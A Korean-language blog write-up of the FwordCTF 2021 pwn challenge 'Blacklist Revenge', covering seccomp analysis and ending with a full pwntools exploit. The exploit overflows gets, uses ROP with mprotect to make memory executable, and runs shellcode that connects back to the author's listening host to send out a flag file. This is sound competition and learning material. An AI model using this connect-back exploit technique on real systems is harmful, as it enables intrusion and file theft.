[FwordCTF 2021] Blacklist Revenge + 후기
CTF

[FwordCTF 2021] Blacklist Revenge + 후기

반응형

FwordCTF 2021에 참여하게 되었다.

To-Do List에 있는 목표 중 하나 달성해볼까라는 마인드로 참여해봤다.

얼마나 풀 수 있을까 고민됐지만 시간 내 2문제 그리고 아래에서 설명할 문제, 해서 pwn에서는 총 3문제 풀었다.


문제 풀이 환경 : Ubuntu 20.04

Note에 적혀있는 말 보면 사용자가 입력에 대한 리턴을 받을 수 없다는 말로 해석된다.

그래서 구글링 결과 리버싱 쉘(reversing shell)을 이용해야 한다는 결론을 얻었다.

📝 Analysis


Mitigation & File Spec

mitigation은 별거 없는데, 무려 static 파일이다.

Code

· main

init_0()과 vuln() 함수로 이루어진 간단한 main이다.

 

· init_0

대충 seccomp_filter가 적용되어 있다.

어떻게 필터링하고 있는지 seccomp-tools를 이용해서 봤다.

Blacklist 방식의 seccomp이다. 금지된 syscall은 open, clone, fork, vfork, execve, execveat 이다.

ORW 문제거니 생각하고 넘어갔다.

 

· vuln

심플한 함수다. 사용자에게 gets로 입력을 받고 있다.

mitigation에서도 확인할 수 있지만 canary가 있어서 여기 함수에도 설마 적용되어 있나 싶었지만 다행히도 그러지는 않아서 편하게 ROP를 할 수 있다.

 

✨ Thinking


static으로 컴파일된 파일이다 보니 프로그램 내에 이용할 수 있는 함수가 많았다.

ROP에 사용할 가젯에 대해서는 고민할 필요가 없어 보였다.

리버스 쉘 열 때 필요한 함수들이 다 있으면 좋겠지만 그렇지 않았다.

그리고 있다고 해도 syscall의 호출이 자유롭지 않았다. 필터링되는 open 말고 openat 같은 함수가 필요한데 없던 것도 있다.

그렇다면 쉘코드로 명령을 실행하는 게 제일 편리하고 간단하다.

 

NX bit가 걸려있지만 이때 사용할 수 있는 방법으로 mprotect ROP가 있다.

mprotect로 실행 가능 영역을 할당해준 다음 해당 영역에 쉘코드를 집어넣고 리버스 쉘로 flag.txt 파일을 읽어오면 되겠다는 생각을 했다.

 

▶ 도움 되는 사이트

더보기

 

Make Shellcode

사용할 syscall은 총 5개다.

openat, read, write / connect, dup2

앞 3개는 파일 열고 쓰고 출력을 위한 것이고, 뒤의 2개는 리버스 쉘과 통하기 위한 것이다.

 

ORW는 너무 많이 해서 설명할 것도 없고 뒤에 있는 2개의 syscall에 대해 말해보려 한다.

·  connect (https://man7.org/linux/man-pages/man2/connect.2.html)

  - 주어진 ip, port로 socket 연결을 해주는 syscall이다.

  - reverse shell로 내 서버에 연결하게 해 주기 위해 사용한다.

·  dup2 (https://man7.org/linux/man-pages/man2/dup.2.html)

  - dup(old_fd)은 그냥 새로운 fd를 할당(open)해주는 함수라면,

  - dup2(old_fd, new_fd)는 기존 fd(보통 새로 할당되는 fd보다 낮은 값 가짐)에 새 fd를 연결하는 효과를 가진다.

  - stdin(0), stdout(1), stderr(2)의 buffer에 socket을 연결한다는 점에서 닫혀있어도 socket으로 소통할 수 있다는 점 때문에 사용한다.

 

이번에 만들 shellcode는 직접 만들기 귀찮기 때문에 pwntools에서 제공하는 shellcraft 클래스를 이용할 것이다.

 

🧩 Exploit Scenario 


0. 터미널을 2개 띄워놓는다.

    - 한쪽은 파이썬 익스 코드 실행용, 다른 한 쪽은 리버스 쉘용으로 내 쪽에서 리스닝할 용도

 

1. mprotect로 실행 가능한 영역을 잡는다.

    - 컨트롤 가능한 주소 영역을 미리 디버거를 통해 찾고 뒤 3byte를 0이 되도록 한다.

    - 권한을 7로 주면 rwx로 설정된다.

2. 해당 영역에 내가 작성한 쉘코드를 입력한다.

    - read syscall은 안 막혀 있으므로 써도 된다.

    - gets도 쓸 수 있지만 쉘코드 중간에 0x0a가 섞여있으면 끊겨서 제대로 동작 안하므로 read로 한다.

3.  쉘코드 시작 주소를 줘서 실행시킨다.

 

🚩 Flag 🚩


from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

test = False

if test:
    p = process('./blacklist')
    # pause()
else:
    p = remote('40.71.72.198', 1236)
e = ELF('./blacklist')

prdi = 0x4018ca
prsi = 0x4028b8
prdx = 0x4017cf
pppr = lambda a, b, c: (p64(prdi) + p64(a) + p64(prsi) + p64(b) + p64(prdx) + p64(c))

mprotect = e.sym['mprotect']
gets = e.sym['gets']
read = e.sym['read']
fake_stack = e.bss(0x600)
cmd_str = e.bss(0x800)
new_memory = 0x4e0000

IP, PORT = '{REDACTED}', 55222
flag_path = b'/home/fbi/flag.txt\x00'
if test:
    IP, PORT = 'localhost', 55222
    flag_path = b'flag.txt\x00'

shellcode = shellcraft.connect(IP, PORT)
shellcode += shellcraft.dup('rdi')
shellcode += shellcraft.openat(0, flag_path)
shellcode += shellcraft.read('rax', 'rsp', 0x40)  # shellcode에서 인자 잘 보기
shellcode += shellcraft.write(1, 'rsp', 0x40)
shellcode = asm(shellcode)

payload = b'A' * 0x40
payload += p64(fake_stack)
# mmap(new_memory,0x1000,0x7)
payload += pppr(new_memory, 0x1000, 0x7)
payload += p64(mprotect)
# read(0, new_memory, 0x100) - shellcode input
payload += pppr(0, new_memory, 0x100)
payload += p64(read)
# shellcode call
payload += p64(new_memory + 0x30)
p.sendline(payload)

p.send(b'\x90' * 0x30 + shellcode)

p.interactive()

 


교훈

1. 쉘코드 작성할 때 인자 값은 레지스터 이름으로 주자.

  - ROP랑 헷갈리지 말자.

2. 리버스 쉘 할 때 서버 방화벽 확인하자!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

 

반응형